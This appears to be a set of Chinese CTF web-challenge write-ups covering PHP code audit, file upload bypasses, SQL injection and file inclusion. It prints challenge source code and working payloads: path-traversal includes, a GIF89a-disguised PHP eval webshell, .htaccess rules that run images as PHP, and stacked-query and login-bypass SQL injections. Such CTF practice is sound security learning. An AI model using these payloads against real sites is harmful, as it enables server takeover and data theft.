代码审计
[HCTF 2018]WarmUp:初步代码审计;文件包含;
F12 查看源码提示有 source.php ,访问获得源码:
class emmm{public static function checkFile(&$page){//白名单列表$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值if (! isset($page) || !is_string($page)) {echo "you can't see it A";return false;}//检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($page, $whitelist)) {return true;}//过滤问号的函数(如果$page的值有?则从?之前提取字符串)$_page = mb_substr($page,0,mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置);//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($_page, $whitelist)) {return true;}//url对$page解码$_page = urldecode($page);//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}
hint.php 提示在 ffffllllaaaagggg 。
文件包含将 flag 包含进来,最后触发是 include $_REQUEST['file']; 。
三层过滤:
- 第一层判断:是否 file 传入是否为空、是否是 string 类型
- 第一层过滤:file 传入原值是否在白名单中
- 第二层过滤:取 file 第一个 ? 前的值,判断是否在白名单中,例如:$file=hint.php?id=0 ,则取 hint.php
- 第三次过滤:对 file 进行 url 解码后,取第一个 ? 前的值,判断是否在白名单中
最后 payload ?file=hint.php?/../../../../../ffffllllaaaagggg
include 的时候将 hint.php?/ 当作是文件目录,然后一直返回上层到根目录
[BJDCTF2020]Mark loves cat:代码审计;变量覆盖;
除了页面最底部有个 dog ,没有任何思路和提示,那就开始 dirsearch 扫目录。找到有 git 源码泄露,Githacker 将源码拖下来:
githacker --url http://6515a110-1a7a-4c40-b134-c1f29f33adf5.node4.buuoj.cn:81 --folder result --threads 1
githack 也能实现 git 泄露源码,之前用的好好的,现在这题 php 文件死活拖不出来就换了。
关键部分如下:
<?phpinclude 'flag.php';$yds = "dog";$is = "cat";$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y; //修改任意变量为任意值}foreach($_GET as $x => $y){$$x = $$y; //修改任意变量为另外一个变量的值}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($is);}echo "the flag is: ".$flag;
两种方法修改变量:get、post
foreach($_POST as $x => $y){$$x = $y; //修改任意变量为任意值//input:$x="yds";$y='$flag';//result:$yds = $flag}foreach($_GET as $x => $y){$$x = $$y; //修改任意变量为另外一个变量的值//input:$x="yds";$y='flag';//result:$yds = $flag}
补充知识
foreach 题目列表或者键值对 example 。如果是列表返回 $key 是下标,字典返回是键名。
<?php$a = array(1,2,3,4,5,6,7);foreach ($a as $key => $value){echo "Current value of \$key:$key \$value:$value.\n";}
文件上传
[ACTF2020 新生赛]Upload:文件上传;phtml绕过;
扫目录没有什么东西
前台 main.js checkFile() 对文件后缀进行白名单过滤,main.js F12 sources 可以找到:
function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name) == -1) {var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";alert(errMsg);return false;}}
就一句话木马改成 png 后缀进行抓包绕过前端过滤:
修改后缀为 php ,返回 Bad file ,证明后端还有过滤。这里需要用到新的知识点:phtml 和 php 都可以被服务器当作 php 代码执行。
[极客大挑战 2019]Upload:GIF89a图片头欺骗;script标签绕过;
文件上传没有其他东西。php 后缀文件被过滤,上传 phtml 返回 Not image! 。上传 png、gif、jpeg 也是一样提示就很奇怪。尝试GIF89a图片头文件欺骗:
GIF89a<?php@eval($_POST['skye']);
上传成功,提示文件存在 <? 
用 html script 标签绕过 <? 限制成功上传 hack.phtml 
蚁剑连上:/uploads/hack.phtml
题目源码
按道理正常的 png、gif、jpeg 能上传,但是为什么报错 Not image!
<!DOCTYPE html><html lang="zh"><style>.error {font-family:Microsoft YaHei;font-family:arial;color:red;font-size:40px;text-align:center;}</style><head><meta charset="UTF-8"><title>check</title><link rel="stylesheet" type="text/css" href="css/reset.css"><link rel="stylesheet" href="css/demo.css" /><link rel="stylesheet" href="dist/styles/Vidage.css" /></head><body><div class="Vidage"><div class="Vidage__image"></div><video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted><source src="videos/bg.webm" type="video/webm"><source src="videos/bg.mp4" type="video/mp4"></video><div class="Vidage__backdrop"></div></div><script src="dist/scripts/Vidage.min.js"></script><script>new Vidage('#VidageVideo');</script></br></br></br></br></br></br></br></br></br></br></br></br></br></br></br><div class="error"><strong><?php$file = $_FILES["file"];// 允许上传的图片后缀$allowedExts = array("php","php2","php3","php4","php5","pht","phtm");$temp = explode(".", $file["name"]);$extension = strtolower(end($temp)); // 获取文件后缀名$image_type = @exif_imagetype($file["tmp_name"]); //通过文件头判断图像的类型// 检查Content-Type的值是否为图片类型if ((($file["type"] == "image/gif")|| ($file["type"] == "image/jpeg")|| ($file["type"] == "image/jpg")|| ($file["type"] == "image/pjpeg")|| ($file["type"] == "image/x-png")|| ($file["type"] == "image/png"))&&$file["size"] < 20480) // 小于 20 kb{if ($file["error"] > 0){echo "ERROR!!!";}elseif (in_array($extension, $allowedExts)) {echo "NOT!".$extension."!";}elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE) {echo "NO! HACKER! your file included '<?'";}elseif (!$image_type) {echo "Don't lie to me, it's not image at all!!!";}else{$fileName='./upload/'.$file['name'];move_uploaded_file($file['tmp_name'],$fileName);echo "上传文件名: " . $file["name"] . "<br>";}}else{echo "Not image!";}?></strong></div><div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div></body></html>
[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名;
上传图片后缀文件成功,php、phtml 被过滤了:
这个上次的一句话蚁剑是连不上的。
正确姿势应该是通过 **.htaccess** 改变文件拓展名
.htaccess 详解
启用 .htaccess ,需要修改 httpd.conf ,启用 AllowOverride ,并可以用 AllowOverride 限制特定命令的使用。
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
改变文件扩展名几种配置方法:
AddType application/x-httpd-php .jpg //jpg解析为php
SetHandler application/x-httpd-php //任意后缀均被解析为php
<FilesMatch "1.png">SetHandler application/x-httpd-php</FilesMatch>//文件1.png被解析为php
改变 .htaccess 配置后造成文件解析漏洞,将其他后缀文件解析成 php 文件,即将文件内容当作 php 代码执行
修改 Content-Type 绕过后端检查:
现在 jpeg 已经被当作 php 执行,上传 jpeg 一句话,蚁剑链接 webshell
题目源码
<?phpsession_start();echo "<meta charset=\"utf-8\">";if(!isset($_SESSION['user'])){$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));}if(isset($_FILES['uploaded'])) {$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);$uploaded_size = $_FILES['uploaded']['size'];$uploaded_tmp = $_FILES['uploaded']['tmp_name'];// 匹配文件后缀有没有 phif(preg_match("/ph/i", strtolower($uploaded_ext))){die("我扌your problem?");}else{// 文件后缀白名单、文件大小限制if ((($_FILES["uploaded"]["type"] == "") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){$content = file_get_contents($uploaded_tmp);mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);move_uploaded_file($uploaded_tmp, $t_path);echo "{$t_path} succesfully uploaded!";}else{die("我扌your problem?");}}}?>
[GXYCTF2019]BabyUpload:.htaccess改变文件拓展名;script 标签绕过;
上传 1.php 提示文件后缀不能包含 ph ;Content-Type 不是图片也会被过滤;
文件内容不能包含 <? 
服务器是 PHP5.x 用 script 绕过 <? 过滤
文件后缀不能包含 ph 尝试修改 .htaccess 将其他文件解析成 php 文件。返回数据包 Server: openresty 是基于 Nginx ,Nginx 默认不支持 .htaccess ,但也可以修改配置后支持 .htaccess 。这部分思路参考:[MRCTF2020]你传你🐎呢:.htaccess改变文件拓展名
上传 .htaccess :
上传 1.jpeg 一句话木马:
蚁剑链接就好了。getshell 没找到服务器的 Nginx 配置文件(准备看看怎么支持 .htaccess ,但是没找到。找到了一堆 apache 的东西奇奇怪怪)
题目源码
<?phpsession_start();echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /><title>Upload</title><form action=\"\" method=\"post\" enctype=\"multipart/form-data\">上传文件<input type=\"file\" name=\"uploaded\" /><input type=\"submit\" name=\"submit\" value=\"上传\" /></form>";error_reporting(0);if(!isset($_SESSION['user'])){$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));}if(isset($_FILES['uploaded'])) {$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);$uploaded_size = $_FILES['uploaded']['size'];$uploaded_tmp = $_FILES['uploaded']['tmp_name'];if(preg_match("/ph/i", strtolower($uploaded_ext))){die("后缀名不能有ph!");}else{if ((($_FILES["uploaded"]["type"] == "") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){$content = file_get_contents($uploaded_tmp);if(preg_match("/\<\?/i", $content)){die("诶,别蒙我啊,这标志明显还是php啊");}else{mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);move_uploaded_file($uploaded_tmp, $t_path);echo "{$t_path} succesfully uploaded!";}}else{die("上传类型也太露骨了吧!");}}}?>
SQL注入
[极客大挑战 2019]EasySQL:万能密码
账号密码都是一样的,输入'会有错误回显
这里是因为程序使用 sql 语句用'闭合,类似于:
select * from table where id='admin'
用万能密码登录:
select * from table where id='admin' or '1'='1'
最终 payload :
第一个和最后一个是程序自带的,其他是我们注入进去的
check.php?username=skye231' or '1'='1&password=a' or '1'='1
check.php?username=skye231&password=a' or 1=1#
[强网杯 2019]随便注 - 堆叠查询
判断出'是闭合符,万能密码可以查出当前表全部内容
堆叠注入可以使用:?inject=1';show databases;#
查询表名发现其他的表:?inject=0';show tables;#
查询表结构判断出 flag 在里面
?inject=0';desc `1919810931114514`#

words 表就是正常查询的表,根据表里面内容判断出 sql 查询语句
selsect id,data from words where id =
方法1:重命名表和字段
- 将 words 改成任意名字(words1)
- 把 1919810931114514 表名改成 words
- 把 1919810931114514 列名 flag 改成 id
- 万能密码查询出 flag
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

修改后 words 表(1919810931114514)结构
方法2:预处理语句
利用 char() 函数将 select 的 ASCII 码转换为 select 字符串,接着利用 concat() 函数进行拼接得到 select 查询语句,从而绕过过滤。或者直接用 concat() 函数拼接 select 来绕过。
payload1 不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2 使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3 只是用contact(),不使用char()
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
[SUCTF 2019]EasySQL:堆叠注入;pipes_as_concat;
进行一下尝试:
3 变成了 1
堆叠注入可以
flag 被过滤不能使用。这题要对 sql 语句猜测,输入一长串数字尝试:
前 10 个数字对应查询猜猜是 select 1 ,最后一个数字无论是什么都是 1 ,看师傅 wp 才知道 sql 语句:
sql="select".post['query']."||flag from Flag";
上图对应实际查询语句:select 1,2,3,4||flag from Flag 。|| 在 mysql 默认是或运算,所以最后一个值查询结果非 0 即 1 。
EXP1
这个没什么好解释的,
*,1// select *,1||flag from FLAG
EXP2
|| 在 mysql 默认是或运算符,在 oracle 缺省支持通过 || 来实现字符串拼接。mysql 将 mode 设置为 pipes_as_concat 来实现。
1;set sql_mode=PIPES_AS_CONCAT;select 1//select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from FLAG
设置完的相当于是用 concat 进行拼接:SELECT 1,CONCAT(1,flag) FROM FLAG
concat 将查询结果进行拼接,本地环境测试:SELECT CONCAT(3,last_name) FROM users 每个结果都加上了 3 

文件包含
[ACTF2020 新生赛]Include:php://filter读源码;
点进去 Tips 之后,观察 url 有点问题 ?file=flag.php ,怀疑是文件包含漏洞。
伪协议 php://filter 读取 flag.php 源码
?file=php://filter/read=convert.base64-encode/resource=flag.php
file:// 协议读取会把文件内容执行么,php文件捏?
[极客大挑战 2019]Secret File:php://filter读源码;抓包防重定向;
F12 查看到隐藏的路径
进去里面还有一个
然后提示结束了
burp抓包查看到有重定向,获取中间内容
访问获取到源码:
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);//flag放在了flag.php里?>
include 一看就是文件包含,过滤了一些字符串,直接 php://filter 读取即可
命令执行
[ACTF2020 新生赛]Exec


Basic
[极客大挑战 2019]Havefun:传参
<!--$cat=$_GET['cat'];echo $cat;if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';}-->

